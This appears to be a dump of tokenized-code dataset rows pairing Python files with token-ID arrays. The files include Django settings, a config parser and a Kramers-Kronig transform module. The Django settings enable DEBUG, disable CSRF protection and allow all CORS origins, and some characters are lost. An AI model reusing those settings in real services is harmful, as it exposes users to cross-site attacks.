{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"uint256","name":"","type":"uint256"}],"name":"userHeroes","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"}
]
"""
| [
11748,
4866,
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6738,
3992,
18,
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5313,
18,
198,
6738,
764,
26791,
1330,
3384,
4487,
355,
4293,
62,
26791,
198,
198,
10943,
5446,
10659,
62,
2885,
7707,
7597,
796,
705,
15,
87,
20,
69,
44550,
17896,
7568,
24,
65,
16,
324,
24,
... | 3.451826 | 6,518 |
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from tipi import tipi as _tipi
tipi = lambda s: _tipi(s, lang='fr')
| [
2,
532,
9,
12,
19617,
25,
3384,
69,
12,
23,
532,
9,
12,
198,
6738,
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874,
628,
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8171,
72,
355,
4808,
22504,
72,
628,
198,
22504,
72,
796,
37456,
264,
25,
4... | 2.464286 | 56 |
from django.db import models
VEHICLE_CHOICES = (
('OASISSB', 'OASIS Small Business'),
('OASIS', 'OASIS Unrestricted')
)
STATUS_CHOICES = (
('P', 'In Progress'),
('C', 'Completed'),
('F', 'Cancelled')
)
| [
6738,
42625,
14208,
13,
9945,
1330,
4981,
198,
198,
6089,
39,
31419,
62,
44899,
34444,
796,
357,
198,
220,
220,
220,
19203,
46,
1921,
16744,
33,
3256,
705,
46,
1921,
1797,
10452,
7320,
33809,
198,
220,
220,
220,
19203,
46,
1921,
1797,... | 2.287129 | 101 |
"""
Contains the QuantumCircuit class
boom.
"""
| [
37811,
198,
4264,
1299,
262,
29082,
31560,
5013,
1398,
198,
2127,
296,
13,
198,
37811,
198
] | 3 | 16 |
import sys
sys.path.append("..") # change environment to see tools
from make_hydrodem import bathymetricGradient
workspace = r"" # path to geodatabase to use as a workspace
snapGrid = r"" # path to snapping grid
hucPoly = r"" # path to local folder polygon
hydrographyArea = r"" # path to NHD area feature class
hydrographyFlowline = r"" # path to NHD flowline feature class
hydrographyWaterbody = r"" # path to NHD water body feature class
cellsize = '' # cell size
bathymetricGradient(workspace, snapGrid, hucPoly, hydrographyArea,
hydrographyFlowline, hydrographyWaterbody,cellsize) | [
11748,
25064,
201,
198,
17597,
13,
6978,
13,
33295,
7203,
492,
4943,
1303,
1487,
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201,
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201,
198,
5225,
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796,
374,
1593... | 3.071429 | 196 |
# This is the OpenGL context for drawing flow calculation lines
from Context import *
from primitives import Vector2, Segment
from OpenGL.GL import *
from copy import deepcopy
| [
2,
770,
318,
262,
30672,
4732,
329,
8263,
5202,
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3951,
198,
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30672,
13,
8763,
1330,
1635,
198,
6738,
4866,
1330,
2769,
30073,
198
] | 4.4 | 40 |
from .interval_collectors import *
| [
6738,
764,
3849,
2100,
62,
33327,
669,
1330,
1635,
198
] | 3.5 | 10 |
# -*- coding: utf-8 -*-
# @Time: 2020/11/8 23:47
# @Author: GraceKoo
# @File: test.py
# @Desc:
from threading import Thread
import time
if __name__ == "__main__":
t1 = Thread(target=print_numbers)
t1.setDaemon(True)
t1.start()
# print("")
| [
2,
532,
9,
12,
19617,
25,
3384,
69,
12,
23,
532,
9,
12,
198,
2,
2488,
7575,
25,
12131,
14,
1157,
14,
23,
2242,
25,
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2,
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42,
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198,
2,
2488,
8979,
25,
1332,
13,
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198,
2,
2488,
24564,
... | 2.224138 | 116 |
"""
Django settings for massenergize_portal_backend project.
Generated by 'django-admin startproject' using Django 2.1.4.
For more information on this file, see
https://docs.djangoproject.com/en/2.1/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/2.1/ref/settings/
"""
import os
import firebase_admin
from firebase_admin import credentials
from .utils.utils import load_json
# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
# ******** LOAD CONFIG DATA ***********#
IS_PROD = False
path_to_config = '/_main_/config/massenergizeProdConfig.json' if IS_PROD else '/_main_/config/massenergizeProjectConfig.json'
CONFIG_DATA = load_json(BASE_DIR + path_to_config)
os.environ.update(CONFIG_DATA)
# ******** END LOAD CONFIG DATA ***********#
SECRET_KEY = CONFIG_DATA["SECRET_KEY"]
# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = True
ALLOWED_HOSTS = [
'localhost',
'127.0.0.1',
'api.massenergize.org',
'apis.massenergize.org',
'api.massenergize.com',
'apis.massenergize.com',
'api-prod.massenergize.org',
'api.prod.massenergize.org',
'api-dev.massenergize.org',
'api.dev.massenergize.org',
'massenergize-api.wpdvzstek2.us-east-2.elasticbeanstalk.com'
]
INSTALLED_APPS = [
'authentication',
'carbon_calculator',
'database',
'api',
'website',
'corsheaders',
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
]
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'corsheaders.middleware.CorsMiddleware',
'django.middleware.common.CommonMiddleware',
# 'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
#custom middlewares
'authentication.middleware.MassenergizeJWTAuthMiddleware'
]
#-------- FILE STORAGE CONFIGURATION ---------------------#
DEFAULT_FILE_STORAGE = 'storages.backends.s3boto3.S3Boto3Storage'
STATICFILES_STORAGE = 'storages.backends.s3boto3.S3Boto3Storage'
#-------- FILE STORAGE CONFIGURATION ---------------------#
#-------- AWS CONFIGURATION ---------------------#
AWS_ACCESS_KEY_ID = os.environ.get('AWS_ACCESS_KEY_ID')
AWS_SECRET_ACCESS_KEY = os.environ.get('AWS_SECRET_ACCESS_KEY')
AWS_STORAGE_BUCKET_NAME = os.environ.get('AWS_STORAGE_BUCKET_NAME')
AWS_S3_SIGNATURE_VERSION = os.environ.get('AWS_S3_SIGNATURE_VERSION')
AWS_S3_REGION_NAME = os.environ.get('AWS_S3_REGION_NAME')
AWS_DEFAULT_ACL = None
#--------END AWS CONFIGURATION ---------------------#
CORS_ORIGIN_ALLOW_ALL = True
CORS_ALLOW_CREDENTIALS = True
DATA_UPLOAD_MAX_MEMORY_SIZE = 2621440*3
ROOT_URLCONF = '_main_.urls'
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [],
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
],
},
},
]
WSGI_APPLICATION = '_main_.wsgi.application'
CSRF_COOKIE_SECURE = False
SESSION_COOKIE_SECURE = False
# Database
# https://docs.djangoproject.com/en/2.1/ref/settings/#databases
DATABASES = {
'remote-default': {
'ENGINE' : os.environ.get('DATABASE_ENGINE'),
'NAME' : os.environ.get('DATABASE_NAME'),
'USER' : os.environ.get('DATABASE_USER'),
'PASSWORD' : os.environ.get('DATABASE_PASSWORD'),
'HOST' : os.environ.get('DATABASE_HOST'),
'PORT' : os.environ.get('DATABASE_PORT')
},
'default': {
'ENGINE' : os.environ.get('DATABASE_ENGINE'),
'NAME' : 'gchekler21',
'USER' : '',
'PASSWORD' : '',
'HOST' : 'localhost',
'PORT' : '5555'
},
}
firebase_service_account_path = '/_main_/config/massenergizeProdFirebaseServiceAccount.json' if IS_PROD else '/_main_/config/massenergizeFirebaseServiceAccount.json'
FIREBASE_CREDENTIALS = credentials.Certificate(BASE_DIR + firebase_service_account_path)
firebase_admin.initialize_app(FIREBASE_CREDENTIALS)
# Password validation
# https://docs.djangoproject.com/en/2.1/ref/settings/#auth-password-validators
AUTH_PASSWORD_VALIDATORS = [
{
'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
},
]
# Internationalization
# https://docs.djangoproject.com/en/2.1/topics/i18n/
LANGUAGE_CODE = 'en-us'
TIME_ZONE = 'UTC'
USE_I18N = True
USE_L10N = True
USE_TZ = True
EMAIL_BACKEND = 'django.core.mail.backends.smtp.EmailBackend'
EMAIL_USE_TLS = True
EMAIL_HOST = 'smtp.gmail.com'
EMAIL_PORT = 587
EMAIL_HOST_USER = os.environ.get('EMAIL')
DEFAULT_FROM_EMAIL = os.environ.get('EMAIL')
EMAIL_HOST_PASSWORD = os.environ.get('EMAIL_PASSWORD')
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/2.1/howto/static-files/
STATIC_URL = '/static/'
MEDIA_URL = '/media/'
# Simplified static file serving.
STATICFILES_LOCATION = 'static'
MEDIAFILES_LOCATION = 'media'
| [
37811,
198,
35,
73,
14208,
6460,
329,
2347,
877,
70,
1096,
62,
634,
282,
62,
1891,
437,
1628,
13,
198,
198,
8645,
515,
416,
705,
28241,
14208,
12,
28482,
923,
16302,
6,
1262,
37770,
362,
13,
16,
13,
19,
13,
198,
198,
1890,
517,
... | 2.308656 | 2,553 |
import asyncio
# from aiorpcgrid.client import Client
from aiorpcgrid.task import AsyncTask, State
| [
11748,
30351,
952,
198,
198,
2,
422,
257,
1504,
14751,
25928,
13,
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1330,
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198,
6738,
257,
1504,
14751,
25928,
13,
35943,
1330,
1081,
13361,
25714,
11,
1812,
628
] | 3.366667 | 30 |
# Copyright 2020, OpenTelemetry Authors
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# TODO: usage
"""
The opentelemetry-instrumentation-aws-lambda package allows tracing AWS
Lambda function.
Usage
-----
.. code:: python
# Copy this snippet into AWS Lambda function
# Ref Doc: https://docs.aws.amazon.com/lambda/latest/dg/lambda-python.html
import boto3
from opentelemetry.instrumentation.aws_lambda import (
AwsLambdaInstrumentor
)
# Enable instrumentation
AwsLambdaInstrumentor().instrument()
# Lambda function
def lambda_handler(event, context):
s3 = boto3.resource('s3')
for bucket in s3.buckets.all():
print(bucket.name)
return "200 OK"
API
---
"""
import logging
import os
from importlib import import_module
from wrapt import wrap_function_wrapper
# TODO: aws propagator
from opentelemetry.sdk.extension.aws.trace.propagation.aws_xray_format import (
AwsXRayFormat,
)
from opentelemetry.instrumentation.aws_lambda.version import __version__
from opentelemetry.instrumentation.instrumentor import BaseInstrumentor
from opentelemetry.instrumentation.utils import unwrap
from opentelemetry.trace import SpanKind, get_tracer, get_tracer_provider
logger = logging.getLogger(__name__)
| [
2,
15069,
12131,
11,
4946,
31709,
41935,
46665,
198,
2,
198,
2,
49962,
739,
262,
24843,
13789,
11,
10628,
362,
13,
15,
357,
1169,
366,
34156,
15341,
198,
2,
345,
743,
407,
779,
428,
2393,
2845,
287,
11846,
351,
262,
13789,
13,
198,
... | 3.081174 | 579 |
# Generated by Django 4.0.2 on 2022-04-01 16:09
from django.db import migrations, models
| [
2,
2980,
515,
416,
37770,
604,
13,
15,
13,
17,
319,
33160,
12,
3023,
12,
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25,
2931,
198,
198,
6738,
42625,
14208,
13,
9945,
1330,
15720,
602,
11,
4981,
628
] | 2.84375 | 32 |
import numpy as np
import torch
import random
from .odenet_mnist.layers import MetaNODE
| [
11748,
299,
32152,
355,
45941,
198,
11748,
28034,
198,
11748,
4738,
198,
198,
6738,
764,
375,
268,
316,
62,
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396,
13,
75,
6962,
1330,
30277,
45,
16820,
198,
220,
220,
220,
220,
220,
220,
220,
220
] | 2.621622 | 37 |
"""
Module: 'ubinascii' on esp32 1.10.0
"""
# MCU: (sysname='esp32', nodename='esp32', release='1.10.0', version='v1.10 on 2019-01-25', machine='ESP32 module with ESP32')
# Stubber: 1.2.0
| [
37811,
198,
26796,
25,
705,
549,
24252,
979,
72,
6,
319,
15024,
2624,
352,
13,
940,
13,
15,
198,
37811,
198,
2,
13122,
52,
25,
357,
17597,
3672,
11639,
9774,
2624,
3256,
18666,
12453,
11639,
9774,
2624,
3256,
2650,
11639,
16,
13,
94... | 2.3625 | 80 |
"""
@author : Spencer Lyon
"""
from __future__ import division
import sys
import unittest
from nose.plugins.skip import SkipTest
from jv import JvWorker
from quantecon import compute_fixed_point
from quantecon.tests import get_h5_data_file, write_array, max_abs_diff
# specify params -- use defaults
A = 1.4
alpha = 0.6
beta = 0.96
grid_size = 50
if sys.version_info[0] == 2:
v_nm = "V"
else: # python 3
raise SkipTest("Python 3 tests aren't ready.")
v_nm = "V_py3"
def _new_solution(jv, f, grp):
"gets new solution and updates data file"
V = _solve_via_vfi(jv)
write_array(f, grp, V, v_nm)
return V
def _solve_via_vfi(jv):
"compute policy rules via value function iteration"
v_init = jv.x_grid * 0.6
V = compute_fixed_point(jv.bellman_operator, v_init,
max_iter=3000,
error_tol=1e-5)
return V
| [
37811,
198,
198,
31,
9800,
1058,
15971,
35193,
198,
198,
37811,
198,
6738,
11593,
37443,
834,
1330,
7297,
198,
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25064,
198,
11748,
555,
715,
395,
198,
6738,
9686,
13,
37390,
13,
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1330,
32214,
14402,
198,
6738,
474,
85,
1330,... | 2.270677 | 399 |
"""Config
This module is in charge of providing all the necessary settings to
the rest of the modules in excentury.
"""
import os
import re
import sys
import textwrap
import argparse
from collections import OrderedDict
from excentury.command import error, trace, import_mod
DESC = """Edit a configuration file for excentury.
Some actions performed by excentury can be overwritten by using
configuration files.
To see the values that the configuration file can overwrite use the
`defaults` command. This will print a list of the keys and values
excentury uses for the given command.
"""
RE = re.compile(r'\${(?P<key>.*?)}')
RE_IF = re.compile(
r'(?P<iftrue>.*?) IF\[\[(?P<cond>.*?)\]\]'
)
RE_IFELSE = re.compile(
r'(?P<iftrue>.*?) IF\[\[(?P<cond>.*?)\]\]ELSE (?P<iffalse>.*)'
)
def disp(msg):
"""Wrapper around sys.stdout.write which is meant to behave as
the print function but it does not add the newline character. """
sys.stdout.write(msg)
def _replacer(*key_val):
"""Helper function for replace.
Source: <http://stackoverflow.com/a/15221068/788553>
"""
replace_dict = dict(key_val)
replacement_function = lambda match: replace_dict[match.group(0)]
pattern = re.compile("|".join([re.escape(k) for k, _ in key_val]), re.M)
return lambda string: pattern.sub(replacement_function, string)
def replace(string, *key_val):
"""Replacement of strings done in one pass. Example:
>>> replace("a < b && b < c", ('<', '<'), ('&', '&'))
'a < b && b < c'
Source: <http://stackoverflow.com/a/15221068/788553>
"""
return _replacer(*key_val)(string)
def add_parser(subp, raw):
"Add a parser to the main subparser. "
tmpp = subp.add_parser('config', help='configure excentury',
formatter_class=raw,
description=textwrap.dedent(DESC))
tmpp.add_argument('var', type=str, nargs='?', default=None,
help='Must be in the form of sec.key')
tmpp.add_argument('-v', action='store_true',
help='print config file location')
tmpp.add_argument('--print', action=ConfigDispAction,
nargs=0,
help='print config file and exit')
def _get_replacements(tokens, data, sec):
"""Helper function for _read_config. """
replacements = list()
for token in tokens:
if ':' in token:
tsec, tkey = token.split(':')
tval = ''
if tsec in data:
if tkey in data[tsec]:
tval = data[tsec][tkey]
else:
if token in data[sec]:
tval = data[sec][token]
else:
tval = ''
replacements.append(
('${%s}' % token, tval)
)
return replacements
# pylint: disable=invalid-name
# ARG and CFG are names that may be used in the configuration file.
# ARG gives us access to the command line arguments and CFG gives us
# access to the current configuration. Note that using CFG[key][sec]
# is equivalent to ${key:sec}. These names go against the convention
# so that they may be easy to spot in a configuration file.
def _eval_condition(cond, ARG, CFG, line_num, fname):
"""Evaluates a string using the eval function. It prints a
warning if there are any errors. Returns the result of the
evaluation and an error number: 0 if everything is fine, 1 if
there was an error. """
ARG.FILEPATH = '%s/%s/%s' % (ARG.cfg, CFG['xcpp']['path'], ARG.inputfile)
try:
# pylint: disable=eval-used
# To be able to evaluate a condition without creating a whole
# new parser we can use the eval function. We could have use
# a python file as a configuration but then there would be
# no simple structure to the files.
cond = eval(cond)
enum = 0
# pylint: disable=broad-except
# Anything can go wrong during the execution of the `eval`
# function. For this reason we must try to catch anything that
# may come our way so that we may give out a warning message
# and ignore it.
except Exception as exception:
cond = None
enum = 1
trace(
'WARNING: error in line %d of %r: %s\n' % (
line_num, fname, exception.message
)
)
return cond, enum
def _read_config(fname, arg):
"""Simple parser to read configuration files. """
data = OrderedDict()
sec = None
line_num = 0
with open(fname, 'r') as fhandle:
for line in fhandle:
line_num += 1
if line[0] == '[':
sec = line[1:-2]
data[sec] = OrderedDict()
elif '=' in line:
tmp = line.split('=', 1)
key = tmp[0].strip()
val = tmp[1].strip()
val = os.path.expandvars(val)
replacements = _get_replacements(
RE.findall(val), data, sec
)
# pylint: disable=star-args
if replacements:
val = replace(val, *replacements)
match = RE_IFELSE.match(val)
if match:
cond, enum = _eval_condition(
match.group('cond'), arg, data, line_num, fname
)
if enum == 1:
continue
groups = match.groups()
val = groups[0] if cond else groups[2]
else:
match = RE_IF.match(val)
if match:
cond, enum = _eval_condition(
match.group('cond'), arg, data, line_num, fname
)
if enum == 1:
continue
if cond:
val = match.group('iftrue')
else:
continue
data[sec][key] = val
return data
def read_config(arg):
"""Read the configuration file xcpp.config"""
path = arg.cfg
if path == '.' and not os.path.exists('xcpp.config'):
if 'XCPP_CONFIG_PATH' in os.environ:
tmp_path = os.environ['XCPP_CONFIG_PATH']
if os.path.exists('%s/xcpp.config' % tmp_path):
trace("Configured with: '%s/xcpp.config'\n" % tmp_path)
path = tmp_path
elif not os.path.exists('%s/xcpp.config' % path):
error("ERROR: %s/xcpp.config does not exist\n" % path)
arg.cfg = path
try:
config = _read_config('%s/xcpp.config' % path, arg)
except IOError:
config = OrderedDict()
return config
def run(arg):
"""Run command. """
config = read_config(arg)
if arg.v:
disp('path to xcpp.config: "%s"\n' % arg.cfg)
if arg.var is None:
for sec in config:
disp('[%s]\n' % sec)
for key in config[sec]:
disp(' %s = %s\n' % (key, config[sec][key]))
disp('\n')
return
try:
command, var = arg.var.split('.', 1)
except ValueError:
error("ERROR: '%s' is not of the form sec.key\n" % arg.var)
try:
disp(config[command][var]+'\n')
except KeyError:
pass
return
def _update_single(cfg, name, defaults=None):
"Helper function for get_cfg."
if defaults:
for var, val in defaults.iteritems():
cfg[name][var] = os.path.expandvars(str(val))
else:
mod = import_mod('excentury.command.%s' % name)
if hasattr(mod, "DEFAULTS"):
for var, val in mod.DEFAULTS.iteritems():
cfg[name][var] = os.path.expandvars(val)
def _update_from_file(cfg, name, cfg_file):
"Helper function for get_cfg."
if name in cfg_file:
for var, val in cfg_file[name].iteritems():
cfg[name][var] = os.path.expandvars(val)
def _update_from_arg(cfg, argdict, key):
"Helper function for get_cfg."
for var in cfg[key]:
if var in argdict and argdict[var] is not None:
cfg[key][var] = argdict[var]
def get_cfg(arg, names, defaults=None):
"""Obtain the settings for a command. """
cfg = {
'xcpp': {
'root': '.',
'path': '.'
}
}
cfg_file = read_config(arg)
if 'xcpp' in cfg_file:
for var, val in cfg_file['xcpp'].iteritems():
cfg['xcpp'][var] = os.path.expandvars(val)
cfg['xcpp']['root'] = arg.cfg
if isinstance(names, list):
for name in names:
cfg[name] = dict()
_update_single(cfg, name)
_update_from_file(cfg, name, cfg_file)
else:
if names != 'xcpp':
cfg[names] = dict()
_update_single(cfg, names, defaults)
_update_from_file(cfg, names, cfg_file)
argdict = vars(arg)
if arg.parser_name in cfg:
_update_from_arg(cfg, argdict, arg.parser_name)
elif arg.parser_name == 'to' and arg.lang in cfg:
_update_from_arg(cfg, argdict, arg.lang)
_update_from_arg(cfg, argdict, 'xcpp')
return cfg
| [
37811,
16934,
198,
198,
1212,
8265,
318,
287,
3877,
286,
4955,
477,
262,
3306,
6460,
284,
198,
1169,
1334,
286,
262,
13103,
287,
409,
14792,
13,
198,
198,
37811,
198,
198,
11748,
28686,
198,
11748,
302,
198,
11748,
25064,
198,
11748,
... | 2.094246 | 4,414 |
# -*- coding: utf-8 -*-
'''
Created on Thu Nov 19 20:52:33 2015
@author: SW274998
'''
from nseta.common.commons import *
import datetime
import unittest
import time
from bs4 import BeautifulSoup
from tests import htmls
import json
import requests
import six
from nseta.common.urls import *
import nseta.common.urls as urls
from six.moves.urllib.parse import urlparse
from baseUnitTest import baseUnitTest
if __name__ == '__main__':
suite = unittest.TestLoader().loadTestsFromTestCase(TestUrls)
result = unittest.TextTestRunner(verbosity=2).run(suite)
if six.PY2:
if result.wasSuccessful():
print('tests OK')
for (test, error) in result.errors:
print('=========Error in: %s===========' % test)
print(error)
print('======================================')
for (test, failures) in result.failures:
print('=========Error in: %s===========' % test)
print(failures)
print('======================================')
| [
2,
532,
9,
12,
19617,
25,
3384,
69,
12,
23,
532,
9,
12,
198,
7061,
6,
198,
41972,
319,
26223,
5267,
678,
1160,
25,
4309,
25,
2091,
1853,
198,
198,
31,
9800,
25,
12672,
1983,
28324,
23,
198,
7061,
6,
198,
6738,
299,
2617,
64,
1... | 2.845029 | 342 |
from django import forms
from .models import Account
from common.models import Comment, Attachments
from leads.models import Lead
from contacts.models import Contact
from django.db.models import Q
| [
6738,
42625,
14208,
1330,
5107,
198,
6738,
764,
27530,
1330,
10781,
198,
6738,
2219,
13,
27530,
1330,
18957,
11,
3460,
620,
902,
198,
6738,
5983,
13,
27530,
1330,
20116,
198,
6738,
13961,
13,
27530,
1330,
14039,
198,
6738,
42625,
14208,
... | 4.166667 | 48 |
#
# Copyright 2018 PyWren Team
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
import time
import logging
import random
from pywren_ibm_cloud.cf_connector import CloudFunctions
logger = logging.getLogger(__name__)
| [
2,
198,
2,
15069,
2864,
9485,
54,
918,
4816,
198,
2,
198,
2,
49962,
739,
262,
24843,
13789,
11,
10628,
362,
13,
15,
357,
1169,
366,
34156,
15341,
198,
2,
345,
743,
407,
779,
428,
2393,
2845,
287,
11846,
351,
262,
13789,
13,
198,
... | 3.621212 | 198 |
import os
import random
inputDirectory = "./original"
outputDirectory = "./processed"
#probability parameters
TopLevel = 0.6
SecondLevel = 0.5
ThirdLevel = 0.4
FourAndAbove = 0.2
pickInside = 0.5
pickOutside = 0.25
topics = []
siteLevel = []
fileStructure = []
count = 0
topicIndex=0
for foldername in os.listdir(inputDirectory) :
if(foldername[0] != "."):
topics.append(foldername)
siteLevel.append([])
fileStructure.append([])
levelIndex=0
for categoryName in os.listdir(inputDirectory+"/"+foldername):
if(categoryName[0] != "."):
siteLevel[topicIndex].append(categoryName)
fileStructure[topicIndex].append([])
for filename in os.listdir(inputDirectory+"/"+foldername+"/"+categoryName):
if(filename[0] != "."):
fileStructure[topicIndex][levelIndex].append(filename)
levelIndex += 1
topicIndex += 1
for i in range(0,len(topics)):
for j in range(0,len(siteLevel[i])):
for k in range(0,len(fileStructure[i][j])):
count += manageFile(inputDirectory+"/"+topics[i]+"/"+siteLevel[i][j]+"/"+fileStructure[i][j][k],outputDirectory+"/"+fileStructure[i][j][k],i,j,fileStructure[i][j][k])
print(str(count)+" liens crs") | [
11748,
28686,
198,
11748,
4738,
198,
198,
15414,
43055,
796,
366,
19571,
14986,
1,
198,
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43055,
796,
366,
19571,
14681,
276,
1,
198,
198,
2,
1676,
65,
1799,
10007,
198,
9126,
4971,
796,
657,
13,
21,
198,
12211,
4971,
796,
657,
... | 2.265411 | 584 |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# This file is part of the Kramers-Kronig Calculator software package.
#
# Copyright (c) 2013 Benjamin Watts, Daniel J. Lauk
#
# The software is licensed under the terms of the zlib/libpng license.
# For details see LICENSE.txt
"""This module implements the Kramers-Kronig transformation."""
import logging, sys
logger = logging.getLogger(__name__)
if __name__ == '__main__':
logging.basicConfig(level=logging.DEBUG)
logging.StreamHandler(stream=sys.stdout)
import math
import numpy
import os
import data
def calc_relativistic_correction(stoichiometry):
"""Calculate the relativistic correction to the Kramers-Kronig transform.
Parameters:
-----------
stoichiometry : array of integer/float pairs
Each pair in the list consists of an atomic number and the relative proportion of that element.
Returns
-------
This function returns a ``float`` holding the relativistic
corection to the Kramers-Kronig transform.
"""
correction = 0
for z, n in stoichiometry:
correction += (z - (z/82.5)**2.37) * n
return correction
def KK_General_PP(Eval_Energy, Energy, imaginary_spectrum, orders, relativistic_correction):
"""Calculate Kramers-Kronig transform with "Piecewise Polynomial"
algorithm plus the Biggs and Lighthill extended data.
Parameters
----------
Eval_Energy : numpy vector of `float`
Set of photon energies describing points at which to evaluate the real spectrum
Energy : numpy vector of `float`
Set of photon energies describing intervals for which each row of `imaginary_spectrum` is valid
imaginary_spectrum : two-dimensional `numpy.array` of `float`
The array consists of columns of polynomial coefficients belonging to the power terms indicated by 'order'
orders : numpy vector of integers
The vector represents the polynomial indices corresponding to the columns of imaginary_spectrum
relativistic_correction : float
The relativistic correction to the Kramers-Kronig transform.
You can calculate the value using the `calc_relativistic_correction` function.
Returns
-------
This function returns the real part of the scattering factors evaluated at photon energies specified by Eval_Energy.
"""
logger = logging.getLogger(__name__)
logger.info("Calculate Kramers-Kronig transform using general piecewise-polynomial algorithm")
# Need to build x-E-n arrays
X = numpy.tile(Energy[:,numpy.newaxis,numpy.newaxis],(1,len(Eval_Energy),len(orders)))
E = numpy.tile(Eval_Energy[numpy.newaxis,:,numpy.newaxis],(len(Energy)-1,1,len(orders)))
C = numpy.tile(imaginary_spectrum[:,numpy.newaxis,:],(1,len(Eval_Energy),1))
N = numpy.tile(orders[numpy.newaxis,numpy.newaxis,:],(len(Energy)-1,len(Eval_Energy),1))
poles = numpy.equal(X,numpy.tile(Eval_Energy[numpy.newaxis,:,numpy.newaxis],(len(Energy),1,len(orders))))
# all N, ln(x+E) and ln(x-E) terms and poles
Integral = numpy.sum(-C*(-E)**N*numpy.log(numpy.absolute((X[1:,:,:]+E)/(X[:-1,:,:]+E)))-C*E**N*(1-poles[1:,:,:])*numpy.log(numpy.absolute((X[1:,:,:]-E+poles[1:,:,:])/((1-poles[:-1,:,:])*X[:-1,:,:]+poles[:-1,:,:]*X[[0]+list(range(len(Energy)-2)),:,:]-E))),axis=(0,2))
if numpy.any(orders<=-2): # N<=-2, ln(x) terms
i = [slice(None,None,None),slice(None,None,None),orders<=-2]
Integral += numpy.sum(C[i]*((-E[i])**N[i]+E[i]**N[i])*numpy.log(numpy.absolute((X[1:,:,orders<=-2])/(X[:-1,:,orders<=-2]))),axis=(0,2))
if numpy.any(orders>=0): # N>=0, x^k terms
for ni in numpy.where(orders>=0)[0]:
i = [slice(None,None,None),slice(None,None,None),ni]
n = orders[ni]
for k in range(n,0,-2):
Integral += numpy.sum(C[i]/float(-k)*2*E[i]**(n-k)*(X[1:,:,ni]**k-X[:-1,:,ni]**k),axis=0)
if numpy.any(orders <=-3): # N<=-3, x^k terms
for ni in numpy.where(orders<=-3)[0]:
i = [slice(None,None,None),slice(None,None,None),ni]
n = orders[ni]
for k in range(n+2,0,2):
Integral += numpy.sum(C[i]/float(k)*((-1)**(n-k)+1)*E[i]**(n-k)*(X[1:,:,ni]**k-X[:-1,:,ni]**k),axis=0)
logger.debug("Done!")
return Integral / math.pi + relativistic_correction
def KK_PP(Eval_Energy, Energy, imaginary_spectrum, relativistic_correction):
"""Calculate Kramers-Kronig transform with "Piecewise Polynomial"
algorithm plus the Biggs and Lighthill extended data.
Parameters
----------
Eval_Energy : numpy vector of `float`
Set of photon energies describing points at which to evaluate the real spectrum
Energy : numpy vector of `float`
Set of photon energies describing intervals for which each row of `imaginary_spectrum` is valid
imaginary_spectrum : two-dimensional `numpy.array` of `float`
The array consists of five columns of polynomial coefficients: A_1, A_0, A_-1, A_-2, A_-3
relativistic_correction : float
The relativistic correction to the Kramers-Kronig transform.
You can calculate the value using the `calc_relativistic_correction` function.
Returns
-------
This function returns the real part of the scattering factors evaluated at photon energies specified by Eval_Energy.
"""
logger = logging.getLogger(__name__)
logger.info("Calculate Kramers-Kronig transform using (n from 1 to -3) piecewise-polynomial algorithm")
X1 = Energy[0:-1]
X2 = Energy[1:]
E = numpy.tile(Eval_Energy, (len(Energy)-1, 1)).T
Full_coeffs = imaginary_spectrum.T
Symb_1 = (( Full_coeffs[0, :]*E+Full_coeffs[1, :])*(X2-X1)+0.5*Full_coeffs[0, :]*(X2**2-X1**2)-(Full_coeffs[3, :]/E+Full_coeffs[4, :]*E**-2)*numpy.log(numpy.absolute(X2/X1))+Full_coeffs[4, :]/E*(X2**-1-X1**-1))
Symb_2 = ((-Full_coeffs[0, :]*E+Full_coeffs[1, :])*(X2-X1)+0.5*Full_coeffs[0, :]*(X2**2-X1**2)+(Full_coeffs[3, :]/E-Full_coeffs[4, :]*E**-2)*numpy.log(numpy.absolute(X2/X1))-Full_coeffs[4, :]/E*(X2**-1-X1**-1))+(Full_coeffs[0, :]*E**2-Full_coeffs[1, :]*E+Full_coeffs[2, :]-Full_coeffs[3, :]*E**-1+Full_coeffs[4, :]*E**-2)*numpy.log(numpy.absolute((X2+E)/(X1+E)))
